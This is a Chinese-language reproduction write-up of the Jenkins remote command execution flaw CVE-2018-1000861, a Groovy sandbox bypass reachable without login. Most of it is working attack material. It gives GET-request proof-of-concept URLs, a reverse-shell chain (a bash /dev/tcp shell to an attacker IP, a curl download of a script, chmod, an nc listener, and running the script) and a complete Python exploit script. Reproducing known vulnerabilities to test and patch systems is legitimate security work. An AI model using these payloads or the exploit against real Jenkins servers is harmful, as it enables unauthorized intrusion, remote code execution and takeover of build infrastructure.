(CVE-2018-1000861)Jenkins 远程命令执行漏洞

一、漏洞简介

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

二、漏洞影响

Jenkins Version \<= 2.56

Jenkins LTS Version \<= 2.46.1

三、复现过程

漏洞复现:

1.此漏洞是没有回显的,所以我们这里直接反弹shell:

此漏洞的POC(直接GET请求即可):

  1. GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}}
2.我们这里采取下载文件的方法来反弹shell

(1) 先在我们的服务器上防止一个文本,内容为:

  1. bash -i >& /dev/tcp/172.26.1.156/9999 0>&1

(2) 然后我们替换POC中执行命令的部分为下载文件的命令:

  1. curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt

替换后的POC:

  1. http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}}

(3) 给予下载的脚本执行权限:

  1. chmod 777 /tmp/1.sh

替换后的POC:

  1. http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}

(4) 然后在我们接收shell的机器上监听之前写的端口:

  1. nc -lvvp 9999

(5) 直接bash执行我们下载的脚本

  1. bash /tmp/1.sh

替换后的POC:

  1. http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}

(6) 回到我们监听端口的机器:

U1fa800f6a04448f38d05166dcce9d04cJ.jpg

可以看到已经成功获取到了shell!

poc

useage

  1. $ curl -s -I http://jenkins/| grep X-Jenkins
  2. X-Jenkins: 2.137
  3. X-Jenkins-Session: 20f72c2e
  4. X-Jenkins-CLI-Port: 50000
  5. X-Jenkins-CLI2-Port: 50000
  6. $ python exp.py http://jenkins/ 'curl orange.tw'
  7. [*] ANONYMOUS_READ disable!
  8. [*] Bypass with CVE-2018-1000861!
  9. [*] Exploit success!(it should be :P)

Uadc7abd83e45466dbed2f51492676c13j.jpg

  1. #!/usr/bin/python
  2. # coding: UTF-8
  3. # author: Orange Tsai(@orange_8361)
  4. #
  5. import sys
  6. import requests
  7. from enum import Enum
  8. # remove bad SSL warnings
  9. try:
  10. requests.packages.urllib3.disable_warnings()
  11. except:
  12. pass
  13. endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
  14. class mode(Enum):
  15. ACL_PATCHED = 0
  16. NOT_JENKINS = 1
  17. READ_ENABLE = 2
  18. READ_BYPASS = 3
  19. ENTRY_NOTFOUND = 999
  20. def usage():
  21. print '''
  22. Usage:
  23. python exp.py <url> <cmd>
  24. '''
  25. def _log(msg, fail=False):
  26. nb = '[*]'
  27. if fail:
  28. nb = '[-]'
  29. print '%s %s' % (nb, msg)
  30. def _get(url, params=None):
  31. r = requests.get(url, verify=False, params=params)
  32. return r.status_code, r.content
  33. def _add_bypass(url):
  34. return url + 'securityRealm/user/admin/'
  35. def check(url):
  36. flag, accessible = mode.ACL_PATCHED, False
  37. # check ANONYMOUS_READ
  38. status, content = _get(url)
  39. if status == 200 and 'adjuncts' in content:
  40. flag, accessible = mode.READ_ENABLE, True
  41. _log('ANONYMOUS_READ enable!')
  42. elif status == 403:
  43. _log('ANONYMOUS_READ disable!')
  44. # check ACL bypass, CVE-2018-1000861
  45. status, content = _get(_add_bypass(url))
  46. if status == 200 and 'adjuncts' in content:
  47. flag, accessible = mode.READ_BYPASS, True
  48. else:
  49. flag = mode.NOT_JENKINS
  50. # check entry point, CVE-2019-1003005
  51. if accessible:
  52. if flag is mode.READ_BYPASS:
  53. url = _add_bypass(url)
  54. status, content = _get(url + endpoint)
  55. if status == 404:
  56. flag = mode.ENTRY_NOTFOUND
  57. return flag
  58. def exploit(url, cmd):
  59. payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
  60. params = {
  61. 'sandbox': True,
  62. 'value': payload
  63. }
  64. status, content = _get(url + endpoint, params)
  65. if status == 200:
  66. _log('Exploit success!(it should be :P)')
  67. elif status == 405:
  68. _log('It seems Jenkins has patched the RCE gadget :(')
  69. else:
  70. _log('Exploit fail with HTTP status [%d]' % status, fail=True)
  71. if 'stack trace' in content:
  72. for _ in content.splitlines():
  73. if _.startswith('Caused:'):
  74. _log(_, fail=True)
  75. if __name__ == '__main__':
  76. if len(sys.argv) != 3:
  77. usage()
  78. exit()
  79. url = sys.argv[1].rstrip('/') + '/'
  80. cmd = sys.argv[2]
  81. flag = check(url)
  82. if flag is mode.ACL_PATCHED:
  83. _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
  84. elif flag is mode.NOT_JENKINS:
  85. _log('Is this Jenkins?', fail=True)
  86. elif flag is mode.READ_ENABLE:
  87. exploit(url, cmd)
  88. elif flag is mode.READ_BYPASS:
  89. _log('Bypass with CVE-2018-1000861!')
  90. exploit(_add_bypass(url), cmd)
  91. else:
  92. _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)